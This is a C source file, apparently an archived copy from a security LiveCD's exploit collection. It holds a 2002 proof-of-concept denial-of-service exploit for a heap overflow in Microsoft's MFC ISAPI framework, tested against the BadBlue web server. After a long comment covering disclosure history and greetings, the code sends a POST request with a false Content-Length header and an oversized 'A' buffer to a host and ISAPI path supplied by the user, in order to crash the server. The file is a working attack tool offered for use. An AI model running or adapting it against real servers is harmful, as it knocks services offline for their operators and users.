home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / badblue / mfcisapi.c < prev   
C/C++ Source or Header  |  2005-02-12  |  10KB  |  315 lines

  1. /*
  2. MFCISAPI.C by Matthew Murphy
  3. DoSing Servers w/ no Content-Length sanitation
  4. Example of MFC ISAPI heap overflow
  5.  
  6. Disclaimer: DON'T ABUSE THIS CODE!  Use it only to
  7. test your servers for vulnerabilities.  Do not test
  8. against servers:
  9.  
  10. 1) You do not control
  11. 2) Business-critical systems
  12. ...
  13.  
  14. If the possession, compiling, or any use of this code 
  15. causes damage to your system or any other:
  16.  
  17. a) I don't know who wrote it. :-)
  18. b) YOU are responsible for the damage.
  19. c) Me, my providers, and anyone else displaying this
  20.     code are not responsible for it, YOU ARE!
  21.  
  22. Vulnerability Details:
  23. Murphy Security Advisory #12, 2002
  24. "Microsoft Foundation Classes ISAPI Framework Heap Overflow Vulnerability"
  25. http://www.murphy.101main.net/vulns/2002-12.shtml
  26.  
  27. Compiling: Windows, Free/Open/NetBSD, and Linux
  28. Tested on Windows with MSVC++ 6.0.
  29.  
  30. Windows: WinSock 1.1 can cause some issues with 
  31. numerous internet apps, including this one.
  32. It is recommended that you simply upgrade (if
  33. on Windows 95/NT 3.51) to WinSock 2.0 and replace 
  34. "0x0101" with "0x0002" in the WSAStartup() call.
  35.  
  36. Background
  37.  
  38. On July 8, 2002, I submitted a report to BugTraq
  39. regarding two unrelated vulnerabilities in Working
  40. Resources' BadBlue PWS.  The report was intentionally
  41. vague, so as to wait until a patch was released to
  42. disclose details of the vulnerabilities.
  43.  
  44. The vulnerabilties were assigned the following
  45. spots on SecurityFocus:
  46.  
  47. BID 5187: Working Resources BadBlue Get Request
  48. Denial of Service Vulnerability
  49.  
  50. BID 5188: Working Resources BadBlue ISAPI Denial of
  51. Service Vulnerability
  52.  
  53. The vulnerability that became BID 5188 was attributed
  54. to a non-exploitable Heap Overrun in ext.dll.
  55.  
  56. On July 9, I noted to the BadBlue team that the cause
  57. of the crash following the overflow seemed to be one
  58. of two pointers being overwritten (the pointer that
  59. caused the error varied with buffer length).  There
  60. was a pointer used by MSVCRT.DLL, and another used by
  61. MFC42.DLL.  Although I found this odd, I did no further
  62. investigation.
  63.  
  64. On July 10, 2002, the BadBlue team informed me that
  65. the ISAPI Heap Overflow was not occuring inside the
  66. BadBlue code, but somewhere in the MFC classes that
  67. are responsible for ISAPI handling.
  68.  
  69. I submitted the vulnerability to the Microsoft Security
  70. Response Center within minutes of this e-mail from the
  71. BadBlue team.  I received a reply over a day later
  72. that simply asked me to clarify "if I was asking them
  73. to do something", specifically if I was speaking of
  74. an issue in IIS or asking them to identify if it did
  75. exist there.  They had no clue.
  76.  
  77. I submitted in response that a serious vulnerability
  78. existed in the MFC ISAPI framework, and yes, knowing
  79. if the issue affected IIS would allow me and the
  80. community in general to better analyze both the risk
  81. the vulnerability posed and who it affected.
  82.  
  83. Having received no reply from MSRC, I can conclude
  84. both that server administrators need way to protect
  85. themselves from this vulnerability, and also that it
  86. won't come from Microsoft.
  87.  
  88. So, I have provided this sample exploit so that users
  89. of (suspected) vulnerable ISAs can test both their
  90. server's handling of the exploitable condition (that
  91. being incorrect Content-Length headers) as well as
  92. the response of various ISAs they run to an attack
  93. that exploited this vulnerability.
  94.  
  95. Greets/Shouts
  96.  
  97. I'll divide these into two sections, the industry,
  98. and "the others" (i.e, school pals, etc.).  I'll do 
  99. these first:
  100.  
  101. Kyle - No grudges?  WHEW! :-)
  102.  
  103. Rachel - Thanx for the encouragement, and for being
  104.     a good listener.  I needed that.  Sorry you
  105.     had to play the role of relay -- that's not
  106.     something I wish on anybody.
  107.  
  108. Jessica - I'm still amazed/impressed by how well you
  109.     handled that whole mess (talk about in the
  110.     middle of a feud...)
  111.  
  112. Bobbitt - I wish I had not involved you in this mess,
  113.     boy was that a disaster. You made a bigger
  114.     impact than I gave you credit for.  And I
  115.     am accusing people of being un-grateful...
  116.  
  117. JT - Another XP box bites the dust.  I hate to see
  118.     it happen to you, but it was only a matter
  119.     of time, after all, it is an MS product...
  120.  
  121. Thor Larholm - Joining PivX was a step backward.
  122.     Good work though on TL003.  I'm glad you
  123.     liked the "LocalRead" binary exploit.
  124.  
  125. MS Product Security - Response to the MFC overflow
  126.     was sluggish, at best.  What's going on?
  127.  
  128. AOL - Nice job *covering up* the Game request buffer
  129.     overflow.  Moral: Fix the problem at its source.
  130.     Worry about your customers, not your wallet, Mr.
  131.     Case.
  132.  
  133. Netscape - Committed to security?  So much so that you
  134.     are even willing to sell out on customers for
  135.     a pitiful $1000?  The only person who calls
  136.     that committed is Mr. Gates.  AHEM! :-)
  137.  
  138. "Joe Testa" - Thanks for the tips on the BadBlue
  139.     alert (Re: DoS, Heap Overflow); I will use
  140.     them in the future.
  141.  
  142. Scott Slater - Prompt responses, at least.  How did
  143.     you miss "/../"?  It's not exactly stealthy! :-XD
  144.  
  145. Steve Shering - The decision to leave the samples
  146.     vulnerable was a huge mistake.
  147.  
  148. iMatix - It only took you a week to reply to the GSL
  149.     inquiry!  C'mon, that's too MS-ish for something
  150.     that I run...
  151.  
  152. And, ladies and gents, without further ado, I present...
  153.  
  154. Remote diversion/crash of any MFC ISA, from the comfort of 
  155. your own home, office, or where ever you choose!
  156.  
  157. Credit: BadBlue support helped me to isolate and identify
  158. the cause and scope of this issue -- it is more widespread
  159. than originally thought by far.
  160.  
  161. Tested on BadBlue 1.73 EXT.DLL (Listening on port 82):
  162.  
  163. mfcisapi 127.0.0.1 ext.dll 82
  164. Exploit sent -- check if the server/worker is dead.
  165.  
  166. BADBLUE caused an invalid page fault in MSVCRT.DLL.
  167. BADBLUE will now close.
  168.  
  169. If you continue to encounter problems, try restarting
  170. your computer.
  171.  
  172. 1) The location of the fault changed depending on how 
  173. long the buffer was (not surprising).
  174.  
  175. 2) The fault occured after the response had been sent
  176. by the server (odd).
  177.  
  178. 3) Crashes always occured on overwritten heap pointers
  179. (which makes sense).
  180.  
  181. 4) I was unable to overwrite the lowest byte of any of
  182. them, no matter how large the entity was (which does not).
  183.  
  184. One last shout to Thor, Joe, and the folks at iMatix and
  185. MSPS.
  186.  
  187. And, to all of my friends, you're the best!
  188. */
  189.  
  190. #ifdef _WIN32
  191. #define _WINSOCKAPI_
  192. #include <winsock2.h>
  193. #pragma comment(lib, "wsock32.lib")
  194. #else
  195. #include <sys/types.h>
  196. #include <sys/socket.h>
  197. #include <netinet/in.h>
  198. #endif
  199. #include <stdio.h>
  200. #include <string.h>
  201.  
  202. #define BUFF_SIZE    6300            /* Change this for bigger buffers */
  203.  
  204. #define nprintf(x)    printf(x)        /* Add newline in printf() calls */
  205. #define die(x)        nprintf(x); exit(0);    /* Macro: Write error and exit */
  206.  
  207. static char request[] = "POST /%s HTTP/1.0\x0d\x0a"
  208.             "Content-Length: 1\x0d\x0a\x0d\x0a"
  209.             "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  210.             "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  211.             "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  212.             "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  213.             "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  214.             "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  215.             "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  216.             "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  217.             "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  218.             "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  219.             "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  220.             "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  221.             "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  222.             "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  223.             "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  224.             "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  225.             "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  226.             "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0d\x0a\x0d\x0a";
  227.  
  228. /* Using DoS tools for dummies :-) */
  229.  
  230. void usage(void) {
  231.     nprintf("Usage: mfcisapi <host> <isapi> [port]\x0d\x0a\x0d\x0ahost - the address to exploit (e.g, 127.0.0.1)\x0d\x0aisapi - the path of the ISAPI DLL/mapping to exploit (e.g, /ext.dll, /iisstart.asp)\x0d\x0aport - the port that the web service runs on (usually 80)");
  232.     exit(1);
  233. }
  234.  
  235. void main(int argc, char *argv[]) {
  236.  
  237. /* Set up some stack storage... */
  238.  
  239.     SOCKET hSock;            /* Socket descriptor handle */
  240.     unsigned short port;        /* This is set to default after WSAStartup() */
  241.     int buffsize = 1024;        /* Some ISAs need bigger; set at command-line */
  242.     struct hostent *he;        /* For DNS resolution */
  243.     char exploit[BUFF_SIZE];    /* BIG uninitialized buffer for the exploit. */
  244.     struct sockaddr_in sa_in;    /* Socket address storage */
  245.     char *offset;            /* Buffer pointer */
  246.     int i;                /* Counting integer */
  247.  
  248. /*
  249.  * Windows-specific crap to initialize WinSock
  250.  * This compatibility stuff bloats my code rather
  251.  * badly... (I love Windows! :-XD)
  252. */
  253.  
  254. #ifdef _WIN32
  255.     WSADATA wsa_prov;
  256.     if (!WSAStartup(0x0101, &wsa_prov) == 0) {
  257.         die("WinSock initialization failed!");
  258.     }
  259. #endif
  260.  
  261. /* Handle the argument vector */
  262.  
  263.     port = htons(80);
  264.     switch(argc) {
  265.     case 5:
  266.         buffsize = atoi(argv[4]);
  267.     case 4:
  268.         port = htons((unsigned short)atoi(argv[3]));
  269.     case 3:
  270.         break;
  271.     case 2:
  272.     case 1:
  273.     default:
  274.         usage();
  275.     }
  276.  
  277. /* Make the TCP socket for the exploit */
  278.  
  279.     hSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  280.     if (hSock == SOCKET_ERROR) {
  281.         die("Couldn't create exploit socket!");
  282.     }
  283.  
  284. /* Fill in the address information */
  285.  
  286.     sa_in.sin_family = AF_INET;
  287.     sa_in.sin_port = port;
  288.     sa_in.sin_addr.S_un.S_addr = inet_addr(argv[1]);
  289.  
  290. /* Create memory buffer for exploit */
  291.  
  292.     sprintf(&exploit[0], &request[0], argv[2]);
  293.  
  294. /* Try to connect to the victim server. */
  295.  
  296.     if (!connect(hSock, &sa_in, sizeof(struct sockaddr_in)) == 0) {
  297.         die("Couldn't connect; probably no web server there.");
  298.     }
  299.  
  300. /* Send out the overflow */
  301.  
  302.     send(hSock, &exploit[0], strlen(&exploit[0]), 0);
  303.     nprintf("Exploit sent -- check if the server/worker is dead.");
  304.  
  305. /* Do some cleanup */
  306.  
  307.     shutdown(hSock, SD_BOTH);
  308. #ifndef _WIN32
  309.     close(hSock);
  310. #else                /* Once again, Windows deviates... */
  311.     closesocket(hSock);
  312.     WSACleanup();
  313. #endif
  314.     return;
  315. }